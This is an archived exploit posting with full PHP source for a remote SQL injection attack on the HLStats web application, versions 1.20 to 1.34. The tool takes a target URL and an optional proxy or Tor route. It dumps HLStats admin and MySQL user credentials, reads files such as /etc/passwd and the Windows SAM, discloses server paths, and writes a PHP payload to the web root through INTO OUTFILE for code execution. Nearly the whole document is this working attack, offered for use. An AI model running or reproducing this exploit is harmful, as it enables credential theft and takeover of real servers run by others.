AOH :: HP Unsorted H :: C07-1486.HTM

HLStats Remote SQL Injection Exploit



HLStats Remote SQL Injection Exploit
HLStats Remote SQL Injection Exploit



Hlstats is more than 5 years old. HLstats has been downloaded more than 270,000 from http://sf.net. Nothing more than absolutely benign XSS has been reported for this application, until NOW. 

Merry Christmass,
--Michael Brooks 

Homepage:
http://sourceforge.net/projects/hlstats/ 

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


= 1.20 works with magic_quotes_gpc=On by Michael Brooks */ print "HLStats SQL Injection Exploit -------------------------------------------------------------------------------------------------------------------------------------------->


Welcome To HLstats Exploit code.


SQL Inection + Path Disclosure
Affects Hlstats >= 1.20 to HLStats <=1.34(current)
Tested on Linux and Windows
works with magic_quotes_gpc=On!
HLStats has gone though 5 years with no exploits so this is a Birthday Present!
Merry Christmass!
By Michael Brooks

-------------------------------------------------------------------------------------------------------------------------------------------->

"; print "
Target:

(hint: where the login form is. example: http://domain.com/path/hlstats.php )

Proxy:(ip:port or name:pass@ip:port)

(example: 127.0.0.1:8118 Use href='http://tor.eff.org'>Tor+ href='http://www.privoxy.org/'>Privoxy. )


If nothing is changed below this line then the exploit will attempt to get the database login information in plain text. -------------------------------------------------------------------------------------------------------------------------------------------->

ATTACKS:


Database Selects:

OBTIAN HLStats logins:
(Passwords are stored as MD5 hashs, use: href='http://www.milw0rm.com/cracker/insert.php'>Milw0rm's MD5 Cracker)
=09 OBTIAN mysql.user logins:



File IO:

Path Disclosure


Plain Text Database Login Information
(This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login information.)

Read Other File

example: /etc/passwd
OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam

attempt payload:(WARNING, NO PROXY IS USED FOR UPLOADING PAYLOAD)
<?php ?>
example: system('netstat');
=09
-------------------------------------------------------------------------------------------------------------------------------------------->
"; //generic http class class http{ var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass=''; =09 function http_gpc_send($loc ,$cookie="", $postdata = "") { //overload function polymorphism between gets and posts $url=parse_url($loc); if(!isset($url['port'])){ $url['port']=80; } //$ua=$_SERVER['HTTP_USER_AGENT']; $ua='GPC/.01'; if($this->proxy_ip!=''&&$this->proxy_port!=''){ $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 ); $url['path']=$url['host'].':'.$url['port'].$url['path']; }else{ $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 ); } if( !$fp ) { print "$errstr ($errno)
\nn"; } else { if( $postdata=='' ) { fputs( $fp, "GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n" ); } else { fputs( $fp, "POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n" ); } if($this->proxy_name!=''&&$this->proxy_pass!=''){ fputs($fp, "Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n"); } fputs($fp, "Host: ".$url['host'].":".$url['port']."\r\n"); fputs( $fp, "User-Agent: ".$ua."\r\n" ); fputs( $fp, "Accept: text/plain\r\n" ); fputs( $fp,"Connection: Close\r\n" ); if($cookie!=''){ fputs( $fp, "Cookie: ".$cookie."\r\n" ); } if( $postdata!='' ) { $strlength = strlen( $postdata ); fputs( $fp, "Content-type: application/x-www-form-urlencoded\r\n" ); fputs( $fp, "Content-length: ".$strlength."\r\n\r\n" ); fputs( $fp, $postdata); } fputs( $fp, "\n\n" ); $output = ""; while( !feof( $fp ) ) { $output .= fgets( $fp, 1024 ); } fclose( $fp ); } return $output; } =09 function proxy($proxy){ //user:pass@ip:port $proxyAuth=explode('@',$proxy); if(isset($proxyAuth[1])){ $login=explode(':',$proxyAuth[0]); $this->proxy_name=$login[0]; $this->proxy_pass=$login[1]; =09 $addr=explode(':',$proxyAuth[1]); $this->proxy_ip=$addr[0]; $this->proxy_port=$addr[1]; }else{ $addr=explode(':',$proxy); $this->proxy_ip=$addr[0]; $this->proxy_port=$addr[1]; } } =09 function get($url, $cookie=''){ return $this->http_gpc_send($url, $cookie); } function post($url, $cookie='', $post=''){ return $this->http_gpc_send($url,$cookie,$post); } =09 function getServer($url){ $resp=$this->http_gpc_send($url); $header=explode("Server: ",$resp); $server=explode("\n",$header[1]); return $server[0]; } } //reuseable functions function getPath($html){ $path=''; $resp=explode("array given in ",$html); if(isset($resp[1])){ $resp = explode("",$resp[1]); }else{ $resp[0]=false; } return $resp[0]; } function charEncode($string){ $char="char("; $size=strlen($string); for($x=0;$x<$size;$x++){ $char.=ord($string[$x]).", "; } $char[strlen($char)-2]=')%00'; return $char; } function hex_encode($my_string) { $encoded="0x"; for ($k=0; $k<=strlen($my_string)-1; $k++) {$temp=dechex(ord($my_string[$k])); if (strlen($temp)==1) {$temp="0".$temp;} $encoded.=$temp; } return $encoded; } //hlstats specific functions function hl_get_sql($resp){ //print htmlspecialchars($resp); $tmp=explode('',$last); $table=$tbl[0];//ITS MY TABLE NOW! if(strstr($table,'Victim')&&strstr($table,'Times Killed')){ $table=str_replace('border=0','border=1',$table); $table=str_replace('#002E8A','#000000',$table); $table=str_replace('#15154D','#CCCCCC',$table); $table=str_replace('#161652','#CCCCCC',$table); $table='
'; }else{ $table=false; } return $table; } function get_logins($addr){ $http=new http(); $data=''; $resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1"); $path=getPath($resp); $readfile=hex_encode($path); $pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20"; $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay); =09 $tmp=explode("define("DB_NAME", "",$resp); $tmp=explode(""",$tmp[1]); $data[db]=$tmp[0]; $tmp=explode("define("DB_USER", "",$resp); $tmp=explode(""",$tmp[1]); $data[name]=$tmp[0]; =09 $tmp=explode("define("DB_PASS", "",$resp); $tmp=explode(""",$tmp[1]); $data[pass]=$tmp[0]; =09 $tmp=explode("define("DB_ADDR", "",$resp); $tmp=explode(""",$tmp[1]); $data[addr]=$tmp[0]; =09 $tmp=explode("define("DB_TYPE", "",$resp); $tmp=explode(""",$tmp[1]); $data[type]=$tmp[0]; =09 return $data; } //The table prefix is needed to union select the hlstats logins function get_prefix($attack){ $prefix=false; $http=new http(); //hex_encode is used instead of quote marks $payload="killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20".hex_encode("%events_playerplayeractions")."%23"; $resp=$http->post($attack."?mode=playerinfo&player=1",'',$payload); $mid=explode('events_playerplayeractions',$resp); if(is_array($mid)){ foreach($mid as $m){ $pre= explode('>',$m); $fix=array_pop($pre); if(is_array($prefix)){ if(!in_array($fix,$prefix)){ $prefix[]=trim($fix); } }else if($prefix!=$fix){ print($fix); $prefix[]=trim($fix); } } if(is_array($prefix)){ $v=array_pop($prefix); if(trim($v)!='0'){//damn that zero!! array_push($prefix,$v); } } }else{ $prefix=false; } return($prefix); } if(isset($_REQUEST['target'])&&$_REQUEST['target']!=''){ //this exploit can take its sweet time. set_time_limit(0); $http=new http(); $addr=explode('?',$_REQUEST['target']); $addr=$addr[0]; if(isset($_REQUEST['proxy'])){ $http->proxy($_REQUEST['proxy']); } =09 switch($_REQUEST['button']){ case 'HLStats_Logins': $table=false; $prefix=get_prefix($addr); //print_r($prefix); foreach($prefix as $pre){ if(!$table){ print "trying table prefix:$pre
"; //no comments are used in this payload, instead a second union select is used to finnish the query. $pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0"; $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay); $table=hl_get_sql($resp);// } } if(!$table&&@!in_array('hlstats_',$prefix)){//ooah no the exploit has failed so far. $pre="hlstats_";//try the default prefix print "trying table prefix:$pre
"; $pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0"; $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay); $table=hl_get_sql($resp);// =09 } if($table){ $table=str_replace('Victim','username',$table); $table=str_replace('Kills per Death','playerId',$table); $table=str_replace('Deaths by','acclevel',$table); $table=str_replace('Times Killed','password',$table); $table=str_replace('Rank','Count',$table); print "
$table"; } break; case 'Mysql_Logins': //a comment is used so the table prefix doesn't have to be known; this is simpler, less to go wrong. $pay="killLimit=1000%20union%20select%20user,password,File_priv,1,Host%20%20from%20mysql.user%20--%20"; $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay); $table=hl_get_sql($resp); $table=str_replace('Victim','User',$table); $table=str_replace('Kills per Death','Host',$table); $table=str_replace('Deaths by','File_priv',$table); $table=str_replace('Times Killed','Password',$table); $table=str_replace('Rank','Count',$table); print "
$table"; break; case 'Read_File': $readfile=hex_encode($_REQUEST[read_file]); $pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20"; $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay); =09 $tmp=explode('alt="player.gif">',$resp); $data=explode("",$tmp[1]); $data=$data[0]; //this might be a bad thing: $data=preg_replace('
','',$data); print 'data'.$data; =09 break; case 'Path': $resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1"); $path=getPath($resp ); print "Path Disclosure:$path
"; break;=09 case 'Read_Login': $data=get_logins($addr); foreach($data as $var=>$val){ $tmp=explode('"',$val); $data[$var]=$tmp[0]; print "
".$var.":".$tmp[0]; }=09 break; case 'Upload': $resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1"); $path=getPath($resp ); $data=get_logins($addr); print $path."
"; $tar=explode('/',$_REQUEST['target']); $paylink=$tar; array_pop($paylink); $paylink=implode('/',$paylink); if(strstr($path,':')){//if windows print "Windows Sytem
"; $temp=explode('\\',$path); }else{//else *nix print "*nix System
"; $temp=explode('/',$path); } array_pop($temp); $path=implode('/',$temp); mysql_connect($tar[2],$data[name],$data[pass]) or die(mysql_error()); $name="data".rand();//rand is used so that this attack can be run multiple times. $sql="SELECT '' INTO OUTFILE '$path/$name.php'"; print "
Execute Payload "; mysql_query($sql) or die(mysql_error()); break; default: print 'No Attack!'; break; } }else{ Print "No Target."; } ?>
-------------------------------------------------------------------------------------------------------------------------------------------->
-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (MingW32) iD8DBQFFi1enhyEDRgETX6IRApvuAJ916+e3HP25HVSaCASKLXdLTTpMRQCfVb5X B1g0mZ8NVwQ6J7L8J0ge8Ak=iZt1 -----END PGP SIGNATURE-----

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.